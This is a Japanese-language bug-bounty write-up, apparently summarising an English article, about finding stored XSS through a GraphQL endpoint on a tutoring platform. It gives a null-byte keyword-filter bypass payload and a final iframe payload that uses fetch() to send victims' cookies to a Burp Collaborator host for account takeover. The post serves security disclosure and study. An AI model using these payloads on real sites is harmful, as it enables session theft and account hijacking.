Hello there, ('ω')ノ
GraphQLエンドポイントを介して保存されたXSSを。
脆弱性:
保存されたXSS
GraphQLのバグ
記事:
https://infosecwriteups.com/pwning-your-assignments-stored-xss-via-graphql-endpoint-6dd36c8a19d5
このバグは、クラウドソーシングされたさまざまなプラットフォームで。
パブリック/プライベートプログラムとして4〜5年以上実行されていた。
非常に成熟したバグバウンティプログラムで発見されて。
ランダムな大学の友人と話し合していると。
彼は若い学生を助けることによってプラットホームを通して。
お金を稼ぐことについて話をしてくれて。
ただ、彼が話した個別指導機能には直接アクセスできず。
その特定の機能を調べてみると、次のことがわかって。
アカウント登録が必要で。
主題のテストに合格すると生徒のお手伝いができるので。
ID証明を政府を提出して。
確認のために2週間待って。
この機能にアクセスするのはかなり難しいと思ったので。
多くの人はおそらくアプリケーションにそれほど深く到達していなかっただろうと。
そこで、コンピュータサイエンスの個別指導に申し込み、テストに合格したので。
現在は、学生の宿題を手伝うオプションがあって。
ここで確認することにしたバグの種類は、CSRF、IDOR、XSSで。
CSRFは、すべてのリクエストに多数のチェックが存在するため、すぐに失敗して。
さらにIDORは、UUIDv4が適切に使用されているため、実用的ではなくて。
そこで、XSSを。
質問に答えていると、“,>は許可されていましたが。
script、iframe、alertなどのキーワードは答えからサニタイズされていて。
Web Hacker’s Handbookを調べたところ。
「>」の前に%00(nullバイト)を追加しても。
キーワードがサニタイズされないことがわかったので。
次のペイロードを作成して。
<iframe %00 src=\"javascript:prompt(1)\"%00>
ブラックリストをバイパスするには、%00
GraphQL入力フィールド内に二重引用符を渡す、\”
上記のペイロードは次のように反映されて。
そして、クッキーでプロンプトを受け取って。
攻撃シナリオ/最終的なエクスプロイト:
学生が質問を投げて、インストラクターは。
ブラインドXSSペイロードで答えを提出して。
生徒が答えを確認するとすぐに、彼のCookieがインストラクターに渡されるので。
インストラクターが学生を支援するたびに。
インストラクターは学生のアカウントを引き継ぐことができて。
ペイロード:
<iframe %00 src= javascript:fetch(\"//XXXXXXXXXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net/?param=\"+document.cookie) %00>
fetch()を使用すると、XMLHttpRequest(XHR)と同様の。
ネットワークリクエストを作成できて。
/?param=は、ドメインの一部にならないように追加されて。
すぐに生徒の質問に答え、ソリューションの最後に上記のペイロードを追加して。
生徒が答えを確認すると生徒のクッキーを取得できて。
Best regards, (^^ゞ